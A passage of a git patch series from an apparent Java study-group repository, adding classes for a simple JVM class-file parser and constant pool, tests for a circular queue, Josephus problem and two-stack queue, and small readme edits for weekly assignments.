+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+
+	public String toString() {
+		NameAndTypeInfo typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return getClassName() + ":" + typeInfo.getName() + ":" + typeInfo.getTypeInfo() + "]"; 
+	}
+
+	public String getClassName() {
+		ClassInfo classInfo = (ClassInfo)this.getConstantInfo(this.getClassInfoIndex());
+		UTF8Info utf8Info = (UTF8Info)this.getConstantInfo(classInfo.getUtf8Index());
+		return utf8Info.getValue();
+	}
+
+	public String getFieldName() {
+		NameAndTypeInfo typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getName();
+	}
+
+	public String getFieldType() {
+		NameAndTypeInfo typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getTypeInfo();
+	}
+}
diff --git a/group11/1178243325/week10/src/main/java/com/sprint/jvm/constant/MethodRefInfo.java b/group11/1178243325/week10/src/main/java/com/sprint/jvm/constant/MethodRefInfo.java
new file mode 100644
index 0000000000..85bb5c4934
--- /dev/null
+++ b/group11/1178243325/week10/src/main/java/com/sprint/jvm/constant/MethodRefInfo.java
@@ -0,0 +1,55 @@
+package com.sprint.jvm.constant;
+
+public class MethodRefInfo extends ConstantInfo {
+	private int type = ConstantInfo.METHOD_INFO;
+
+	private int classInfoIndex;
+	private int nameAndTypeIndex;
+
+	public MethodRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+	
+	public String toString() {
+		return getClassName() + ":" + this.getMethodName() + ":" + this.getParamAndReturnType(); 
+	}
+
+	public String getClassName() {
+		ConstantPool pool = this.getConstantPool();
+		ClassInfo clzInfo = (ClassInfo)pool.getConstantInfo(this.getClassInfoIndex());
+		return clzInfo.getClassName();
+	}
+
+	public String getMethodName() {
+		ConstantPool pool = this.getConstantPool();
+		NameAndTypeInfo typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getName();
+	}
+
+	public String getParamAndReturnType() {
+		ConstantPool pool = this.getConstantPool();
+		NameAndTypeInfo typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getTypeInfo();
+	}
+}
+
diff --git a/group11/1178243325/week10/src/main/java/com/sprint/jvm/constant/NameAndTypeInfo.java b/group11/1178243325/week10/src/main/java/com/sprint/jvm/constant/NameAndTypeInfo.java
new file mode 100644
index 0000000000..492fd6e0db
--- /dev/null
+++ b/group11/1178243325/week10/src/main/java/com/sprint/jvm/constant/NameAndTypeInfo.java
@@ -0,0 +1,52 @@
+package com.sprint.jvm.constant;
+
+public class NameAndTypeInfo extends ConstantInfo {
+	public int type = ConstantInfo.NAME_AND_TYPE_INFO;
+
+	private int index1;
+	private int index2;
+
+	public NameAndTypeInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+
+	public int getIndex1() {
+		return index1;
+	}
+
+	public void setIndex1(int index1) {
+		this.index1 = index1;
+	}
+
+	public int getIndex2() {
+		return index2;
+	}
+
+	public void setIndex2(int index2) {
+		this.index2 = index2;
+	}
+
+	public String getName() {
+		ConstantPool pool = this.getConstantPool();
+		UTF8Info utf8Info1 = (UTF8Info)pool.getConstantInfo(index1);
+		return utf8Info1.getValue(); 
+	}
+
+	public String getTypeInfo() {
+		ConstantPool pool = this.getConstantPool();
+		UTF8Info utf8Info2 = (UTF8Info)pool.getConstantInfo(index2);
+		return utf8Info2.getValue();
+	}
+
+	public String toString() {
+		return "(" + getName() + "," + getTypeInfo() + ")";
+	}
+
+
+}
+
+
diff --git a/group11/1178243325/week10/src/main/java/com/sprint/jvm/constant/NullConstantInfo.java b/group11/1178243325/week10/src/main/java/com/sprint/jvm/constant/NullConstantInfo.java
new file mode 100644
index 0000000000..f257cea240
--- /dev/null
+++ b/group11/1178243325/week10/src/main/java/com/sprint/jvm/constant/NullConstantInfo.java
@@ -0,0 +1,12 @@
+package com.sprint.jvm.constant;
+
+public class NullConstantInfo extends ConstantInfo {
+	public NullConstantInfo() {
+	
+	}
+
+	@Override
+	public int getType() {
+		return -1;
+	}
+}
diff --git a/group11/1178243325/week10/src/main/java/com/sprint/jvm/constant/StringInfo.java b/group11/1178243325/week10/src/main/java/com/sprint/jvm/constant/StringInfo.java
new file mode 100644
index 0000000000..73c58a5e71
--- /dev/null
+++ b/group11/1178243325/week10/src/main/java/com/sprint/jvm/constant/StringInfo.java
@@ -0,0 +1,26 @@
+package com.sprint.jvm.constant;
+
+public class StringInfo extends ConstantInfo {
+	private int type = ConstantInfo.STRING_INFO;
+	private int index;
+
+	public StringInfo(ConstantPool constantPool) {
+		super(constantPool);
+	} 
+
+	public int getType() {
+		return type;
+	} 
+
+	public int getIndex() {
+		return index;
+	}
+
+	public void setIndex(int index) {
+		this.index = index;
+	}  
+
+	public String toString() {
+		return this.getConstantPool().getUTF8String(index);
+	}
+}
diff --git a/group11/1178243325/week10/src/main/java/com/sprint/jvm/constant/UTF8Info.java b/group11/1178243325/week10/src/main/java/com/sprint/jvm/constant/UTF8Info.java
new file mode 100644
index 0000000000..5516999c0e
--- /dev/null
+++ b/group11/1178243325/week10/src/main/java/com/sprint/jvm/constant/UTF8Info.java
@@ -0,0 +1,35 @@
+package com.sprint.jvm.constant;
+
+public class UTF8Info extends ConstantInfo {
+	private int type = ConstantInfo.UTF8_INFO;
+	private int length; 
+	private String value;
+	public UTF8Info(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getLength() {
+		return length;
+	}
+
+	public void setLength(int length) {
+		this.length = length;
+	}
+
+	public int getType() {
+		return type;
+	}
+	
+	public String getValue() {
+		return value;
+	}
+
+	public void setValue(String value) {
+		this.value = value;
+	}
+
+	@Override
+	public String toString() {
+		return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value + "]";
+	}
+}
diff --git a/group11/1178243325/week10/src/main/java/com/sprint/jvm/loader/ByteCodeIterator.java b/group11/1178243325/week10/src/main/java/com/sprint/jvm/loader/ByteCodeIterator.java
new file mode 100644
index 0000000000..fc5d1b2ac2
--- /dev/null
+++ b/group11/1178243325/week10/src/main/java/com/sprint/jvm/loader/ByteCodeIterator.java
@@ -0,0 +1,50 @@
+package com.sprint.jvm.loader;
+
+import com.sprint.jvm.util.Util;
+import java.util.Arrays;
+public class ByteCodeIterator {
+	byte[] codes;
+	int pos = 0;
+	ByteCodeIterator(byte[] codes) {
+		this.codes = codes;
+	}
+
+	public byte[] getBytes(int len) {
+		if (pos + len >= codes.length) {
+			throw new ArrayIndexOutOfBoundsException();
+		}	
+		byte[] data = Arrays.copyOfRange(codes, pos, pos + len);
+		pos += len;
+		return data;
+	}
+
+	public int nextU1ToInt() {
+		return Util.byteToInt(new byte[] {codes[pos++]});
+	} 
+
+	public int nextU2ToInt() {
+		return Util.byteToInt(new byte[] {codes[pos++], codes[pos++]});
+	}
+
+	public int nextU4ToInt() {
+		return Util.byteToInt(new byte[] {codes[pos++], codes[pos++], codes[pos++], codes[pos++]});
+	}
+
+	public String nextU4ToHexString() {
+		return Util.byteToHexString(new byte[] {codes[pos++], codes[pos++], codes[pos++], codes[pos++]});
+	}
+
+	public String nextUxToHexString(int len) {
+		byte[] tmp = new byte[len];
+		for (int i = 0; i < len; i++) {
+			tmp[i] = codes[pos++];
+		}
+		return Util.byteToHexString(tmp).toLowerCase();
+	}
+
+	public void back(int n) {
+		this.pos -= n;
+	}
+
+
+}
diff --git a/group11/1178243325/week10/src/main/java/com/sprint/jvm/loader/ClassFileLoader.java b/group11/1178243325/week10/src/main/java/com/sprint/jvm/loader/ClassFileLoader.java
new file mode 100644
index 0000000000..f190f54915
--- /dev/null
+++ b/group11/1178243325/week10/src/main/java/com/sprint/jvm/loader/ClassFileLoader.java
@@ -0,0 +1,52 @@
+package com.sprint.jvm.loader;
+
+import com.sprint.jvm.clz.ClassFile;
+import java.io.IOException;
+import java.io.File;
+import java.io.FileInputStream;
+import java.util.List;
+import java.util.ArrayList;
+import org.apache.commons.io.IOUtils;
+import org.apache.commons.lang3.StringUtils;
+
+public class ClassFileLoader {
+	private List<String> clzPaths = new ArrayList<String>();
+	public byte[] readBinaryCode(String className) {
+		className = className.replace('.', File.separatorChar) + ".class";
+		for (String path : this.clzPaths) {
+			String clzFileName = path + File.separatorChar + className;
+			byte[] codes = loadClassFile(clzFileName);
+			if (codes != null) {
+				return codes;
+			}
+		}
+		return null;
+	}
+
+	private byte[] loadClassFile(String clzFileName) {
+		File f = new File(clzFileName);
+		try {
+			return IOUtils.toByteArray(new FileInputStream(f));	
+		} catch(IOException e) {
+			e.printStackTrace();
+			return null;
+		}
+	}
+
+	public void addClassPath(String path) {
+		if (this.clzPaths.contains(path)) {
+			return;
+		}
+		this.clzPaths.add(path);
+	}
+
+	public String getClassPath() {
+		return StringUtils.join(this.clzPaths, ";");
+	}
+
+	public ClassFile loadClass(String className) {
+		byte[] codes = this.readBinaryCode(className);
+		ClassFileParser parser = new ClassFileParser();
+		return parser.parse(codes);
+	}
+}
diff --git a/group11/1178243325/week10/src/main/java/com/sprint/jvm/loader/ClassFileParser.java b/group11/1178243325/week10/src/main/java/com/sprint/jvm/loader/ClassFileParser.java
new file mode 100644
index 0000000000..4b77190a04
--- /dev/null
+++ b/group11/1178243325/week10/src/main/java/com/sprint/jvm/loader/ClassFileParser.java
@@ -0,0 +1,107 @@
+package com.sprint.jvm.loader;
+
+import com.sprint.jvm.clz.ClassFile;
+import com.sprint.jvm.clz.AccessFlag;
+import com.sprint.jvm.clz.ClassIndex;
+import com.sprint.jvm.constant.ClassInfo;
+import com.sprint.jvm.constant.ConstantPool;
+import com.sprint.jvm.constant.FieldRefInfo;
+import com.sprint.jvm.constant.NameAndTypeInfo;
+import com.sprint.jvm.constant.NullConstantInfo;
+import com.sprint.jvm.constant.MethodRefInfo;
+import com.sprint.jvm.constant.StringInfo;
+import com.sprint.jvm.constant.UTF8Info;
+import java.io.UnsupportedEncodingException;
+public class ClassFileParser {
+	public ClassFile parse(byte[] codes) {
+		ClassFile clzFile = new ClassFile(); 		
+		ByteCodeIterator iter = new ByteCodeIterator(codes);
+		String magicNumber = iter.nextU4ToHexString();
+		if (!"cafebabe".equals(magicNumber)) {
+			return null;
+		}
+		clzFile.setMinorVersion(iter.nextU2ToInt());
+		System.out.println("minor:" + clzFile.getMinorVersion());
+		clzFile.setMajorVersion(iter.nextU2ToInt());
+		System.out.println("marjor:" + clzFile.getMajorVersion());
+		ConstantPool pool = parseConstantPool(iter);
+		clzFile.setConstantPool(pool);
+		
+		AccessFlag flag = parseAccessFlag(iter);
+		clzFile.setAccessFlag(flag);
+
+		ClassIndex clzIndex = parseClassIndex(iter);
+		clzFile.setClassIndex(clzIndex);
+		return clzFile;
+	}
+
+	private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
+		AccessFlag flag = new AccessFlag(iter.nextU2ToInt());
+		return flag;
+	}
+	
+	private ClassIndex parseClassIndex(ByteCodeIterator iter) {
+		int thisClassIndex = iter.nextU2ToInt();
+		int superClassIndex = iter.nextU2ToInt();
+
+		ClassIndex clzIndex = new ClassIndex();
+		clzIndex.setThisClassIndex(thisClassIndex);
+		clzIndex.setSuperClassIndex(superClassIndex);
+		return clzIndex;
+	}
+
+	private ConstantPool parseConstantPool(ByteCodeIterator iter) {
+		int constPoolCount = iter.nextU2ToInt();
+		System.out.println("Constant Pool Count :" + constPoolCount);
+		ConstantPool pool = new ConstantPool();
+		pool.addConstantInfo(new NullConstantInfo());
+		for (int i = 1; i <= constPoolCount - 1; i++) {
+			int tag = iter.nextU1ToInt();
+			if (tag == 7) {
+				int utf8Index = iter.nextU2ToInt();
+				ClassInfo clzInfo = new ClassInfo(pool);
+				clzInfo.setUtf8Index(utf8Index);
+				pool.addConstantInfo(clzInfo);
+			} else if (tag == 1) {
+				int len = iter.nextU2ToInt();
+				byte[] data = iter.getBytes(len);
+				String value = null;
+				try {
+					value = new String(data, "UTF-8");	
+				} catch (UnsupportedEncodingException e) {
+					e.printStackTrace();
+				}
+
+				UTF8Info utf8Str = new UTF8Info(pool);
+				utf8Str.setLength(len);
+				utf8Str.setValue(value);
+				pool.addConstantInfo(utf8Str);
+			} else if (tag == 8) {
+				StringInfo info = new StringInfo(pool);
+				info.setIndex(iter.nextU2ToInt());
+				pool.addConstantInfo(info);
+			} else if (tag == 9) {
+				FieldRefInfo field = new FieldRefInfo(pool);
+				field.setClassInfoIndex(iter.nextU2ToInt());
+				field.setNameAndTypeIndex(iter.nextU2ToInt());
+				pool.addConstantInfo(field);
+			} else if (tag == 10) {
+				MethodRefInfo method = new MethodRefInfo(pool);
+				method.setClassInfoIndex(iter.nextU2ToInt());
+				method.setNameAndTypeIndex(iter.nextU2ToInt());
+				pool.addConstantInfo(method);
+			} else if (tag == 12) {
+				NameAndTypeInfo nameType = new NameAndTypeInfo(pool);
+				nameType.setIndex1(iter.nextU2ToInt());
+				nameType.setIndex2(iter.nextU2ToInt());
+				pool.addConstantInfo(nameType);
+			} else {
+				throw new RuntimeException("the constant pool tag:" + tag + "has no been implemented yet.");
+			} 
+		}	
+		System.out.println("Finished reading Constant Pool");
+		return pool;
+	}
+
+
+}
diff --git a/group11/1178243325/week10/src/main/java/com/sprint/jvm/util/Util.java b/group11/1178243325/week10/src/main/java/com/sprint/jvm/util/Util.java
new file mode 100644
index 0000000000..0f5dc89626
--- /dev/null
+++ b/group11/1178243325/week10/src/main/java/com/sprint/jvm/util/Util.java
@@ -0,0 +1,22 @@
+package com.sprint.jvm.util;
+
+public class Util {
+	public static int byteToInt(byte[] codes) {
+		String s1 = byteToHexString(codes);
+		return Integer.valueOf(s1, 16).intValue();
+	}
+
+	public static String byteToHexString(byte[] codes) {
+		StringBuffer buffer = new StringBuffer();
+		for (int i = 0; i < codes.length; i++) {
+			byte b = codes[i];
+			int value = b & 0xFF;
+			String strHex = Integer.toHexString(value);
+			if (strHex.length() < 2) {
+				strHex = "0" + strHex;
+			}
+			buffer.append(strHex);
+		}
+		return buffer.toString();
+	}
+}	
diff --git a/group11/1178243325/week10/src/test/java/com/sprint/datastructure/CircleQueueTest.java b/group11/1178243325/week10/src/test/java/com/sprint/datastructure/CircleQueueTest.java
new file mode 100644
index 0000000000..d61b0ce8cc
--- /dev/null
+++ b/group11/1178243325/week10/src/test/java/com/sprint/datastructure/CircleQueueTest.java
@@ -0,0 +1,45 @@
+package com.sprint.datastructure;
+
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+
+public class CircleQueueTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void test() {
+		CircleQueue<String> queue = new CircleQueue<String>(5);		
+		Assert.assertTrue(queue.isEmpty());
+		Assert.assertFalse(queue.isFull());
+		
+		queue.enQueue("a");
+		queue.enQueue("b");
+		queue.enQueue("c");
+		queue.enQueue("d");
+		queue.enQueue("e");
+		
+		Assert.assertTrue(queue.isFull());
+		Assert.assertFalse(queue.isEmpty());
+		Assert.assertEquals(5, queue.size());
+		
+		Assert.assertEquals("a", queue.deQueue());
+		Assert.assertEquals("b", queue.deQueue());
+		Assert.assertEquals("c", queue.deQueue());
+		Assert.assertEquals("d", queue.deQueue());
+		Assert.assertEquals("e", queue.deQueue());
+		
+	}
+
+}
diff --git a/group11/1178243325/week10/src/test/java/com/sprint/datastructure/JosephusTest.java b/group11/1178243325/week10/src/test/java/com/sprint/datastructure/JosephusTest.java
new file mode 100644
index 0000000000..353d9b0d73
--- /dev/null
+++ b/group11/1178243325/week10/src/test/java/com/sprint/datastructure/JosephusTest.java
@@ -0,0 +1,27 @@
+package com.sprint.datastructure;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+
+public class JosephusTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testExecute() {
+		
+		Assert.assertEquals("[1, 3, 5, 0, 4, 2, 6]", Josephus.execute(7, 2).toString());
+		
+	}
+
+}
diff --git a/group11/1178243325/week10/src/test/java/com/sprint/datastructure/QueueWithTwoStacksTest.java b/group11/1178243325/week10/src/test/java/com/sprint/datastructure/QueueWithTwoStacksTest.java
new file mode 100644
index 0000000000..a5eb27c758
--- /dev/null
+++ b/group11/1178243325/week10/src/test/java/com/sprint/datastructure/QueueWithTwoStacksTest.java
@@ -0,0 +1,28 @@
+package com.sprint.datastructure;
+
+import org.junit.Assert;
+import org.junit.Test;
+public class QueueWithTwoStacksTest {
+
+	@Test
+	public void test() {
+		QueueWithTwoStacks queue = new QueueWithTwoStacks();
+		Assert.assertTrue(queue.isEmpty());
+		
+		queue.enQueue("a");
+		queue.enQueue("b");
+		queue.enQueue("c");
+		queue.enQueue("d");
+		queue.enQueue("e");
+		
+		Assert.assertFalse(queue.isEmpty());
+		Assert.assertEquals(5, queue.size());
+		
+		Assert.assertEquals("a", queue.deQueue());
+		Assert.assertEquals("b", queue.deQueue());
+		Assert.assertEquals("c", queue.deQueue());
+		Assert.assertEquals("d", queue.deQueue());
+		Assert.assertEquals("e", queue.deQueue());
+		
+	}
+}

From 82b020f30f80e735a6f28cef015b89aaaf608ae2 Mon Sep 17 00:00:00 2001
From: x_zhaohu <x_zhaohu@163.com>
Date: Fri, 5 May 2017 22:35:59 +0800
Subject: [PATCH 188/262] week6, jvm1

---
 group11/1178243325/week06/readme.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/group11/1178243325/week06/readme.md b/group11/1178243325/week06/readme.md
index d89a5c904e..df09ad3398 100644
--- a/group11/1178243325/week06/readme.md
+++ b/group11/1178243325/week06/readme.md
@@ -2,7 +2,7 @@
 - 17-03-27：JVM第一周
 - 17-03-29：JVM之classLoader
 
-## 第六周作业（3-27 至 04-02)
+## 第六周作业---JVM(1)（3-27 至 04-02)
 - 完成对一个.class文件的读取和对.class文件开头四个字节的魔数的判断需要实现ClassLoader.java
 - 实现LRU算法
 - 一篇文章

From 8746f354ef14b9fe2cab5530fc0eb73e5a66183e Mon Sep 17 00:00:00 2001
From: x_zhaohu <x_zhaohu@163.com>
Date: Fri, 5 May 2017 22:37:49 +0800
Subject: [PATCH 189/262] week7, JVM2

---
 group11/1178243325/week07/readme.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/group11/1178243325/week07/readme.md b/group11/1178243325/week07/readme.md
index 4907ae371a..af37f44357 100644
--- a/group11/1178243325/week07/readme.md
+++ b/group11/1178243325/week07/readme.md
@@ -1,7 +1,7 @@
 ## 讲课内容：
 - 17-03-29 ：JVM之classLoader
 
-## 第七周作业（04-03 至 04-09)
+## 第七周作业---JVM(2)（04-03 至 04-09)
 - 实现对一个.class文件的常量池读取
 - 实现StackUtil
 - [文章](http://www.jianshu.com/p/502c1e5caa97)

From 50ec5ae414c09f617042a03db06f8a8e70f29e24 Mon Sep 17 00:00:00 2001
From: x_zhaohu <x_zhaohu@163.com>
Date: Fri, 5 May 2017 22:38:05 +0800
Subject: [PATCH 190/262] week7, JVM2

---
 group11/1178243325/week07/.readme.md.swp | Bin 12288 -> 0 bytes
 1 file changed, 0 insertions(+), 0 deletions(-)
 delete mode 100644 group11/1178243325/week07/.readme.md.swp

diff --git a/group11/1178243325/week07/.readme.md.swp b/group11/1178243325/week07/.readme.md.swp
deleted file mode 100644
index 0404364aff8e4caed53c577968eab16225ba1412..0000000000000000000000000000000000000000
GIT binary patch
literal 0
HcmV?d00001

literal 12288
zcmeI%J#W)M90u?!6B4h25d?-Tbco-Q$PM2BL?_fD1PsPDZJH*w5~taqsHBNR)lvyn
z$SSA<st{BOFCsW<>C6BtpTOs&1FFO);C~PpDz)ke=sEfE*>~sj-EXseTOGYLEE#f|
zQ8~`owXcV+f4X^wJ=Yj3d!<~_7ae<-{f@i)YoIb=PMM13+KxEoietK}8Om76t$3QI
zXqqvkr&B3Cqf{LyuNq3pG3|mQ7wo-PfnEqeU{`^Pe<wL~gr#&%6=M?T&q*gwjO;ob
z9T0#31Rwwb2tWV=5P-n{C*XSn>>h3FK!0n8`}M$%x_^rb0uX=z1Rwwb2tWV=5P$##
zAOL}XP{5?W>Z?Z?`%V%6|9^k~e>=w57s_YKDrJgdQ*_E%%4y0e%0Y^FR@5jEfB*y_
z009U<00Izz00bZafxkq6*V^J}K8u&9w}Q?1NsB)X;<@`Qk&xoXVmEjYKW_KtKWuLV
zjJbKy%$sv@<54_Q<FoHYb5gnyFV(xRR&HGw_kHi8qExF@c_L>P%i|T<atn&5WK`YK
zoQ!3fS!0l%pci)MUtjf2D?j4rCjYeXRwoLlqwu9{O`7F0%^R(^X%RdOx9SV=o0VQ`
zoi8kjWpvlpqHu;UzKA|9M`5tN(NNP#H6``x?<8@R9b`1EW>8yF&q}n?%cH|l=i$$Z
Yuehe|l*BZ>=G$Itlh4+8vm<u%12kN?3IG5A


From ce4bd327620e8657938c423849c8f6e57eaa49a8 Mon Sep 17 00:00:00 2001
From: x_zhaohu <x_zhaohu@163.com>
Date: Fri, 5 May 2017 22:39:16 +0800
Subject: [PATCH 191/262] week8, JVM3

---
 group11/1178243325/week08/readme.md           |  2 +-
 .../week08/src/test/java/InfixExprTest.java   | 52 -------------------
 .../week08/src/test/java/TokenParserTest.java | 41 ---------------
 3 files changed, 1 insertion(+), 94 deletions(-)
 delete mode 100644 group11/1178243325/week08/src/test/java/InfixExprTest.java
 delete mode 100644 group11/1178243325/week08/src/test/java/TokenParserTest.java

diff --git a/group11/1178243325/week08/readme.md b/group11/1178243325/week08/readme.md
index 0a19cc9b31..1d096b5807 100644
--- a/group11/1178243325/week08/readme.md
+++ b/group11/1178243325/week08/readme.md
@@ -1,6 +1,6 @@
 ## 讲课内容：
 
-## 第八周作业（04-10 至 04-16)
+## 第八周作业---JVM(3)（04-10 至 04-16)
 - 实现对一个.class文件的字段和方法的读取,需要实现的类是ClassFileParser.java及其相关的类,实现后需要通过测试:ClassFileloaderTest.java
 - 数据结构,实现InfixExpr.java，需要通过InfixExprTest.java
 - 写一篇文章
diff --git a/group11/1178243325/week08/src/test/java/InfixExprTest.java b/group11/1178243325/week08/src/test/java/InfixExprTest.java
deleted file mode 100644
index bf8907c9b6..0000000000
--- a/group11/1178243325/week08/src/test/java/InfixExprTest.java
+++ /dev/null
@@ -1,52 +0,0 @@
-package com.sprint.datastructure;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-
-public class InfixExprTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testEvaluate() {
-		//InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
-		{
-			InfixExpr expr = new InfixExpr("2+3*4+5");
-			Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
-		}
-		{
-			InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
-			Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
-		}
-		
-		{
-			InfixExpr expr = new InfixExpr("3*20/2");
-			Assert.assertEquals(30, expr.evaluate(), 0.001f);
-		}
-		
-		{
-			InfixExpr expr = new InfixExpr("20/2*3");
-			Assert.assertEquals(30, expr.evaluate(), 0.001f);
-		}
-		
-		{
-			InfixExpr expr = new InfixExpr("10-30+50");
-			Assert.assertEquals(30, expr.evaluate(), 0.001f);
-		}
-		{
-			InfixExpr expr = new InfixExpr("10-2*3+50");
-			Assert.assertEquals(54, expr.evaluate(), 0.001f);
-		}
-		
-	}
-
-}
diff --git a/group11/1178243325/week08/src/test/java/TokenParserTest.java b/group11/1178243325/week08/src/test/java/TokenParserTest.java
deleted file mode 100644
index 67ccfb52f0..0000000000
--- a/group11/1178243325/week08/src/test/java/TokenParserTest.java
+++ /dev/null
@@ -1,41 +0,0 @@
-package com.sprint.datastructure;
-
-import static org.junit.Assert.*;
-
-import java.util.List;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-public class TokenParserTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void test() {
-		
-		TokenParser parser = new TokenParser();
-		List<Token> tokens  = parser.parse("300*20+12*5-20/4");
-		
-		Assert.assertEquals(300, tokens.get(0).getIntValue());
-		Assert.assertEquals("*", tokens.get(1).toString());
-		Assert.assertEquals(20, tokens.get(2).getIntValue());
-		Assert.assertEquals("+", tokens.get(3).toString());
-		Assert.assertEquals(12, tokens.get(4).getIntValue());
-		Assert.assertEquals("*", tokens.get(5).toString());
-		Assert.assertEquals(5, tokens.get(6).getIntValue());
-		Assert.assertEquals("-", tokens.get(7).toString());
-		Assert.assertEquals(20, tokens.get(8).getIntValue());
-		Assert.assertEquals("/", tokens.get(9).toString());
-		Assert.assertEquals(4, tokens.get(10).getIntValue());
-	}
-
-}

From 2e169de0851a498b2c9e0210b6cbbaaf4ec22edd Mon Sep 17 00:00:00 2001
From: x_zhaohu <x_zhaohu@163.com>
Date: Fri, 5 May 2017 22:40:35 +0800
Subject: [PATCH 192/262] week9, JVM4

---
 group11/1178243325/week09/readme.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/group11/1178243325/week09/readme.md b/group11/1178243325/week09/readme.md
index 87a00d3b10..57bf01280a 100644
--- a/group11/1178243325/week09/readme.md
+++ b/group11/1178243325/week09/readme.md
@@ -1,6 +1,6 @@
 ## 讲课内容：
 
-## 第九周作业(JVM第4次作业)（04-17 至 04-23)
+## 第九周作业---JVM(4)（04-17 至 04-23)
 - 把字节码指令转变为java对象, 需要实现的类: CommandParser.java
 - 实现类似的javap命令, 需要实现的类:ClassFilePrinter.java
 - 数据结构,实现前缀表达计算PrefixExpr.java,后缀表达计算PostfixExpr.java,中缀表达式转后缀表达式InfixToPostfix.java

From fa0ad11cc177fc7b86c86b01ec03031f14e0950c Mon Sep 17 00:00:00 2001
From: x_zhaohu <x_zhaohu@163.com>
Date: Fri, 5 May 2017 22:42:17 +0800
Subject: [PATCH 193/262] week10, JVM5

---
 group11/1178243325/week10/readme.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/group11/1178243325/week10/readme.md b/group11/1178243325/week10/readme.md
index 4253c3569f..0c1085521b 100644
--- a/group11/1178243325/week10/readme.md
+++ b/group11/1178243325/week10/readme.md
@@ -1,6 +1,6 @@
 ## 讲课内容：
 
-## 第10周作业(JVM第5次作业)（04-24 至 04-30)
+## 第10周作业---JVM(5)（04-24 至 04-30)
 - 实现一个简单的执行引擎,主要代码engine cmd
 - 数据结构，实现循环队列CircleQueue.java,约瑟夫环Josephus.java,用两个栈实现队列QueueWithTwoStacks.java
 - 写一篇文章

From a0bc5b0c668922e1af0cd6d378badfc8021c450b Mon Sep 17 00:00:00 2001
From: HuiZhou-Xmu <1814014897@qq.com>
Date: Fri, 5 May 2017 23:40:18 +0800
Subject: [PATCH 194/262] =?UTF-8?q?=E7=AC=AC=E5=85=AB=E5=91=A8=E4=BD=9C?=
 =?UTF-8?q?=E4=B8=9A?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../src/week08/jvm/attr/AttributeInfo.java    |  19 +
 .../zhouhui/src/week08/jvm/attr/CodeAttr.java | 116 ++++++
 .../src/week08/jvm/attr/LineNumberTable.java  |  71 ++++
 .../week08/jvm/attr/LocalVariableItem.java    |  39 +++
 .../week08/jvm/attr/LocalVariableTable.java   |  60 ++++
 .../src/week08/jvm/attr/StackMapTable.java    |  30 ++
 .../src/week08/jvm/clz/AccessFlag.java        |  25 ++
 .../zhouhui/src/week08/jvm/clz/ClassFile.java | 117 +++++++
 .../src/week08/jvm/clz/ClassIndex.java        |  19 +
 .../zhouhui/src/week08/jvm/cmd/BiPushCmd.java |  32 ++
 .../src/week08/jvm/cmd/ByteCodeCommand.java   | 129 +++++++
 .../src/week08/jvm/cmd/CommandParser.java     | 157 +++++++++
 .../src/week08/jvm/cmd/GetFieldCmd.java       |  33 ++
 .../src/week08/jvm/cmd/GetStaticFieldCmd.java |  30 ++
 .../src/week08/jvm/cmd/InvokeSpecialCmd.java  |  32 ++
 .../src/week08/jvm/cmd/InvokeVirtualCmd.java  |  34 ++
 .../zhouhui/src/week08/jvm/cmd/LdcCmd.java    |  39 +++
 .../src/week08/jvm/cmd/NewObjectCmd.java      |  30 ++
 .../src/week08/jvm/cmd/NoOperandCmd.java      |  31 ++
 .../src/week08/jvm/cmd/OneOperandCmd.java     |  27 ++
 .../src/week08/jvm/cmd/PutFieldCmd.java       |  26 ++
 .../src/week08/jvm/cmd/TwoOperandCmd.java     |  67 ++++
 .../src/week08/jvm/constant/ClassInfo.java    |  28 ++
 .../src/week08/jvm/constant/ConstantInfo.java |  40 +++
 .../src/week08/jvm/constant/ConstantPool.java |  31 ++
 .../src/week08/jvm/constant/FieldRefInfo.java |  58 +++
 .../week08/jvm/constant/MethodRefInfo.java    |  60 ++++
 .../week08/jvm/constant/NameAndTypeInfo.java  |  51 +++
